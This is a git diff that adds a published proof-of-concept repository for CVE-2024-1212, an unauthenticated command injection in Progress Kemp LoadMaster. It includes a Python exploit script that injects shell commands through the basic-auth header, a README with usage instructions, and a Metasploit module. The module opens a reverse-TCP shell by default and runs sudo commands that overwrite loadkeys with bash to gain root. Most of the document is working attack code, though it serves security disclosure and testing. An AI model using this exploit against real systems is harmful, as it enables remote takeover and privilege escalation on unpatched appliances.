diff --git a/CVE-2024-1212/CVE-2024-1212.py b/CVE-2024-1212/CVE-2024-1212.py new file mode 100644 index 0000000..c8aecd6 --- /dev/null +++ b/CVE-2024-1212/CVE-2024-1212.py @@ -0,0 +1,33 @@ +# Exploit for CVE-2024-1212: Unauthenticated RCE in Progress Kemp LoadMaster +# Tested on: LoadMaster 7.2.59.0.22007 +# Author: Dave Yesland @daveysec with Rhino Security Labs + +import requests +from requests.auth import HTTPBasicAuth +import argparse + +requests.packages.urllib3.disable_warnings() + +argparser = argparse.ArgumentParser(description="Exploit for CVE-2024-1212: Unauthenticated RCE in Progress Kemp LoadMaster") +argparser.add_argument('target', help='The target (https://LoadmasterIP)') +argparser.add_argument('command', help='The command to run') +args = argparser.parse_args() + +target = args.target +command = args.command + +normal_headers = ["Date", "Connection", "Content-Type", "Transfer-Encoding"] + +# Fix colons as it will break the basic auth +command = command.replace(":", "$'\\x3a'") + +url = f"{target}/access/set?param=enableapi&value=1" +r = requests.get(url, auth=HTTPBasicAuth(f"';{command};echo '", "anything"), verify=False) +for key, value in r.headers.items(): + if key not in normal_headers: + print(f"{key}: {value}") +for line in r.text.splitlines(): + if line == ' -p anything': + break + else: + print(line) diff --git a/CVE-2024-1212/README.md b/CVE-2024-1212/README.md new file mode 100644 index 0000000..a86a847 --- /dev/null +++ b/CVE-2024-1212/README.md @@ -0,0 +1,20 @@ +# CVE-2024-1212: Unauthenticated RCE in Progress Kemp LoadMaster + +## Information +**Description:** This allows remote code execution in the Progress Kemp LoadMaster via the admin web service. +**Versions Affected:** All LoadMaster releases after 7.2.48.1 +**Version Fixed:** 7.2.59.2 (GA), 7.2.54.8 (LTSF), 7.2.48.10 (LTS) +**Researcher:** Dave Yesland +**Disclosure Link:** PLACEHOLDER +**NIST CVE Link:** https://nvd.nist.gov/vuln/detail/CVE-2024-1212 +**Vendor Advisory:** https://support.kemptechnologies.com/hc/en-us/articles/23878931058445-LoadMaster-Security-Vulnerability-CVE-2024-1212 + +## Proof-of-Concept Exploit +### Description +The exploit bypasses API restrictions and executes commands through a command injection in the basic authorization header. + +### Usage/Exploitation +`python3 CVE-2024-1212.py https://LM_host 'ls'` + +### Screenshot +![Alt-text that shows up on hover](poc_image.gif) diff --git a/CVE-2024-1212/metasploit/exploits/linux/http/progress_kemp_loadmaster_unauth_cmd_injection.rb b/CVE-2024-1212/metasploit/exploits/linux/http/progress_kemp_loadmaster_unauth_cmd_injection.rb new file mode 100644 index 0000000..1aae708 --- /dev/null +++ b/CVE-2024-1212/metasploit/exploits/linux/http/progress_kemp_loadmaster_unauth_cmd_injection.rb @@ -0,0 +1,137 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Kemp LoadMaster Unauthenticated Command Injection', + 'Description' => %q{ + This module exploits an unauthenticated command injection vulnerability in + Progress Kemp LoadMaster, versions before 7.2.59.2. + }, + 'Author' => [ + 'Dave Yesland with Rhino Security Labs', + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2024-1212'], + ['URL', 'https://kemptechnologies.com/kemp-load-balancers'], + ['URL', 'https://www.rhinosecuritylabs.com/'] + ], + 'DisclosureDate' => '2024', + 'Notes' => { + 'Stability' => [ CRASH_SAFE ], + 'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK], + 'Reliability' => [ REPEATABLE_SESSION ] + }, + 'Platform' => ['unix', 'linux'], + 'Arch' => [ARCH_X86, ARCH_X64], + 'Targets' => [['Automatic', {}]], + 'Privileged' => false, + 'DefaultOptions' => + { + 'PAYLOAD' => 'cmd/linux/https/x64/shell/reverse_tcp', + 'SSL' => true, + 'RPORT' => 443 + }, + 'Payload' => + { + 'BadChars' => "\x3a\x27" + } + ) + ) + + register_options([ + OptString.new('TARGETURI', [true, 'The URI path to LoadMaster', '/']), + OptBool.new('PRIVESC', [true, 'Automatically try privesc to add sudo entry', true]) + ]) + + @first_session_timestamp = nil + end + + def exploit + uri = normalize_uri(target_uri.path, 'access', 'set') + + print_status("Sending payload...") + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => uri, + 'vars_get' => + { + 'param' => 'enableapi', + 'value' => "1" + }, + 'authorization' => basic_auth("';#{payload.encoded};echo '", 'anything'), + 'verify' => false + }) + end + + def on_new_session(session) + # Kill the session if it was initiated too close to the first session + # This command injection tends to execute twice, so we want to kill + # the second session. Probably a better way to do this but I don't know it. + super + current_time = Time.now.to_i + if @first_session_timestamp.nil? + @first_session_timestamp = current_time + elsif current_time - @first_session_timestamp < 5 + print_error("Detected a session initiated too close to the first session. Terminating it.") + session.kill + end + + # Run privesc commands if PRIVESC is set to true + if datastore['PRIVESC'] + execute_privesc_command(session) + else + print_status('Privilege escalation skipped.') + end + end + + def execute_privesc_command(session) + print_status("Executing privilege escalation command...") + session.shell_command('sudo /bin/cp /bin/loadkeys /tmp/loadkeys') + session.shell_command('sudo /bin/cp /bin/bash /bin/loadkeys') + session.shell_command('sudo /bin/loadkeys -c /bin/bash') + session.shell_command('cp /tmp/loadkeys /bin/loadkeys') + end + + def check + print_status("Checking if #{peer} is vulnerable...") + + uri = normalize_uri(target_uri.path, 'access', 'set') + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => uri, + 'vars_get' => { + 'param' => 'enableapi', + 'value' => "1" + }, + 'authorization' => basic_auth("'", 'anything'), + 'verify' => false + }) + + # No response from server + unless res + return CheckCode::Unknown + end + + # Check for specific error pattern in headers or body to confirm vulnerability + if res.headers.to_s.include?("unexpected EOF while looking for matching") || res.body.include?("unexpected EOF while looking for matching") + return CheckCode::Vulnerable + else + return CheckCode::Safe + end + end + + end \ No newline at end of file diff --git a/CVE-2024-1212/poc_image.gif b/CVE-2024-1212/poc_image.gif new file mode 100644 index 0000000..068d81e Binary files /dev/null and b/CVE-2024-1212/poc_image.gif differ